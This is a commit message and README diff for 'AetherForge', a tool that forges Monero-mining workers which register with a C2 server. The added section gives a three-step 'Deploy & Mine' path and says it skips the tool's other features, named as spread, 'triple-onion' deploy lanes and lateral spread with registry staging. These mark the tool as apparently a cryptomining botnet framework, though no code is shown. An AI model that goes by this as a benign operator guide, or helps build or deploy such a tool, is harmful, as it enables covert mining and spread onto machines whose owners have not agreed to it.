Add simple Deploy and Mine path for operators without spread complexity.

Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.

README.md

@@ -316,6 +316,16 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
 
 **Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
 
+### Simple start (deploy → test → mine)
+
+Three steps — no spread, no triple onion, no Probe & Join required:
+
+1. **Calibrate** — set your XMR **wallet** and **pool** (SupportXMR or your upstream).
+2. **Forge → Simple mode → Deploy & Mine** — one click forges an in-process worker (`simple_deploy` baked in). Run the `.exe` **once** on each PC you own.
+3. **Command Deck** — status shows **Testing → Mining** (or a clear failure reason). Online with 0 H/s? Use **Run diagnostics** or **Restart mining** on the banner.
+
+Honest scope: **deploy** here means C2 registration + mining tier probe on that host — not lateral spread or registry staging to other machines.
+
 ### Operator path (dev control PC)
 
 1. Double-click **`devrun.bat`** in the project root.